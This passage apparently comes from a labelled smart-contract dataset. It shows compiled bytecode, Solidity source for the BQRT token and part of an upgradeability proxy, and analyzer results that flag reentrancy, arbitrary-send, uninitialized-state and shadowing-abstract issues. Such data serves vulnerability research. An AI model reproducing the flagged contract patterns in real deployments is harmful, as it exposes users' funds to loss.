ffffffffffffffffffffffffff1681526020019081526020016000208190555061308685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130d281613a07565b6130dc8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061315e876138cd565b9550955095509550955095506131bc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132e683600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061337b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133c781613a07565b6133d18483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613453876138cd565b9550955095509550955095506134b186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061359281613a07565b61359c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156138825782600260006009848154811061365a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061374157508160036000600984815481106136d957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561375f57600a54683635c9adc5dea00000945094505050506138c9565b6137e8600260006009848154811061377357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461393590919063ffffffff16565b925061387360036000600984815481106137fe57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361393590919063ffffffff16565b9150808060010191505061363b565b506138a1683635c9adc5dea00000600a546128b790919063ffffffff16565b8210156138c057600a54683635c9adc5dea000009350935050506138c9565b81819350935050505b9091565b60008060008060008060008060006138ea8a600c54600d54613be6565b92509250925060006138fa612b58565b9050600080600061390d8e878787613c7c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061397783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612308565b905092915050565b6000808284019050838110156139fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613a11612b58565b90506000613a28828461283190919063ffffffff16565b9050613a7c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613ba757613b6383600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613bc182600a5461393590919063ffffffff16565b600a81905550613bdc81600b5461397f90919063ffffffff16565b600b819055505050565b600080600080613c126064613c04888a61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c3c6064613c2e888b61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c6582613c57858c61393590919063ffffffff16565b61393590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c95858961283190919063ffffffff16565b90506000613cac868961283190919063ffffffff16565b90506000613cc3878961283190919063ffffffff16565b90506000613cec82613cde858761393590919063ffffffff16565b61393590919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220cfac4c359b15bccbd3707e3d4e679fbb30aa4b18af11ddf91e4638a0f0aaf2af64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,472 |
0x5f7fdd8684dd7ce0b2dcd86076a44521da335d08
|
/**
*Submitted for verification at Etherscan.io on 2019-07-11
*/
pragma solidity ^0.4.11;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) public balances; // *added public
mapping (address => mapping (address => uint256)) public allowed; // *added public
}
contract BQRTToken is StandardToken, Pausable {
string public constant name = "BQAI Rights Token";
string public constant symbol = "BQRT";
uint8 public constant decimals = 6;
uint256 public constant totalSupply = 1000000000000000;
// Holds the amount and date of a given balance lock.
struct BalanceLock {
uint256 amount;
uint256 unlockDate;
}
// A mapping of balance lock to a given address.
mapping (address => BalanceLock) public balanceLocks;
// An event to notify that _owner has locked a balance.
event BalanceLocked(address indexed _owner, uint256 _oldLockedAmount,
uint256 _newLockedAmount, uint256 _expiry);
/** @dev Constructor for the contract.
*/
function BQRTToken()
Pausable() {
balances[msg.sender] = totalSupply;
Transfer(0x0, msg.sender, totalSupply);
}
/** @dev Sets a token balance to be locked by the sender, on the condition
* that the amount is equal or greater than the previous amount, or if the
* previous lock time has expired.
* @param _value The amount be locked.
*/
//设置锁仓
function lockBalance(address addr, uint256 _value,uint256 lockingDays) onlyOwner {
// Check if the lock on previously locked tokens is still active.
if (balanceLocks[addr].unlockDate > now) { // 未到可转账日期
// Only allow confirming the lock or adding to it.
require(_value >= balanceLocks[addr].amount);
}
// Ensure that no more than the balance can be locked.
require(balances[addr] >= _value);
// convert days to seconds
uint256 lockingPeriod = lockingDays*24*3600;
// Lock tokens and notify.
uint256 _expiry = now + lockingPeriod;
BalanceLocked(addr, balanceLocks[addr].amount, _value, _expiry);
balanceLocks[addr] = BalanceLock(_value, _expiry);
}
/** @dev Returns the balance that a given address has available for transfer.
* @param _owner The address of the token owner.
*/
// 返回用户当前可用余额
function availableBalance(address _owner) constant returns(uint256) {
if (balanceLocks[_owner].unlockDate < now) {
return balances[_owner];
} else {
assert(balances[_owner] >= balanceLocks[_owner].amount);
return balances[_owner] - balanceLocks[_owner].amount;
}
}
/** @dev Send `_value` token to `_to` from `msg.sender`, on the condition
* that there are enough unlocked tokens in the `msg.sender` account.
* @param _to The address of the recipient.
* @param _value The amount of token to be transferred.
* @return Whether the transfer was successful or not.
*/
//
function transfer(address _to, uint256 _value) whenNotPaused returns (bool success) {
require(availableBalance(msg.sender) >= _value);
return super.transfer(_to, _value);
}
/** @dev Send `_value` token to `_to` from `_from` on the condition
* that there are enough unlocked tokens in the `_from` account.
* @param _from The address of the sender.
* @param _to The address of the recipient.
* @param _value The amount of token to be transferred.
* @return Whether the transfer was successful or not.
*/
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused
returns (bool success) {
require(availableBalance(_from) >= _value);
return super.transferFrom(_from, _to, _value);
}
}
|
0x60606040523615610105576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610107578063095ea7b3146101a057806318160ddd146101f757806323b872dd1461021d57806327e235e314610293578063313ce567146102dd5780633f4ba83a146103095780635c6581651461031b5780635c975abb1461038457806370a08231146103ae5780638456cb59146103f85780638da5cb5b1461040a57806395d89b411461045c578063a0821be3146104f5578063a55956831461053f578063a9059cbb14610587578063dd62ed3e146105de578063e9ed866714610647578063f2fde38b14610698575bfe5b341561010f57fe5b6101176106ce565b6040518080602001828103825283818151815260200191508051906020019080838360008314610166575b80518252602083111561016657602082019150602081019050602083039250610142565b505050905090810190601f1680156101925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a857fe5b6101dd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610708565b604051808215151515815260200191505060405180910390f35b34156101ff57fe5b6102076107fb565b6040518082815260200191505060405180910390f35b341561022557fe5b610279600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610806565b604051808215151515815260200191505060405180910390f35b341561029b57fe5b6102c7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610853565b6040518082815260200191505060405180910390f35b34156102e557fe5b6102ed61086b565b604051808260ff1660ff16815260200191505060405180910390f35b341561031157fe5b610319610870565b005b341561032357fe5b61036e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610938565b6040518082815260200191505060405180910390f35b341561038c57fe5b61039461095d565b604051808215151515815260200191505060405180910390f35b34156103b657fe5b6103e2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610970565b6040518082815260200191505060405180910390f35b341561040057fe5b6104086109ba565b005b341561041257fe5b61041a610a83565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561046457fe5b61046c610aa9565b60405180806020018281038252838181518152602001915080519060200190808383600083146104bb575b8051825260208311156104bb57602082019150602081019050602083039250610497565b505050905090810190601f1680156104e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104fd57fe5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae3565b6040518082815260200191505060405180910390f35b341561054757fe5b610585600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091905050610c94565b005b341561058f57fe5b6105c4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f05565b604051808215151515815260200191505060405180910390f35b34156105e657fe5b610631600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f50565b6040518082815260200191505060405180910390f35b341561064f57fe5b61067b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fd8565b604051808381526020018281526020019250505060405180910390f35b34156106a057fe5b6106cc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ffc565b005b604060405190810160405280601181526020017f425141492052696768747320546f6b656e00000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b66038d7ea4c6800081565b6000600360149054906101000a900460ff161515156108255760006000fd5b8161082f85610ae3565b1015151561083d5760006000fd5b61084884848461115b565b90505b5b9392505050565b60016020528060005260406000206000915090505481565b600681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108cd5760006000fd5b600360149054906101000a900460ff1615156108e95760006000fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405180905060405180910390a15b5b5b565b6002602052816000526040600020602052806000526040600020600091509150505481565b600360149054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a175760006000fd5b600360149054906101000a900460ff16151515610a345760006000fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405180905060405180910390a15b5b5b565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b604060405190810160405280600481526020017f425152540000000000000000000000000000000000000000000000000000000081525081565b600042600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541015610b7657600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610c8f565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610c0357fe5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054039050610c8f565b5b919050565b60006000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cf55760006000fd5b42600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541115610d9257600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548410151515610d915760006000fd5b5b83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610de15760006000fd5b610e106018840202915081420190508473ffffffffffffffffffffffffffffffffffffffff167f89f85a4bd38f70943757e43dedd843409e565220cb52ba80fc297d1246b3b9bb600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154868460405180848152602001838152602001828152602001935050505060405180910390a260406040519081016040528085815260200182815250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000155602082015181600101559050505b5b5050505050565b6000600360149054906101000a900460ff16151515610f245760006000fd5b81610f2e33610ae3565b10151515610f3c5760006000fd5b610f468383611454565b90505b5b92915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b60046020528060005260406000206000915090508060000154908060010154905082565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110595760006000fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156110965760006000fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405180905060405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611228575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156112b35750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b15156112bf5760006000fd5b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156115245750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b15156115305760006000fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a723058207fdebf168d5fe5a721ef57a807335775b3746f3b1c56d5e67dbcca4830f27e1c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
| 2,473 |
0x717bcd3a04ccf7656368d3bab07bc678b4de1b52
|
/**
*Submitted for verification at Etherscan.io on 2021-04-29
*/
/**
*Submitted for verification at Etherscan.io on 2021-04-10
*/
/**
*Submitted for verification at BscScan.com on 2021-03-08
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
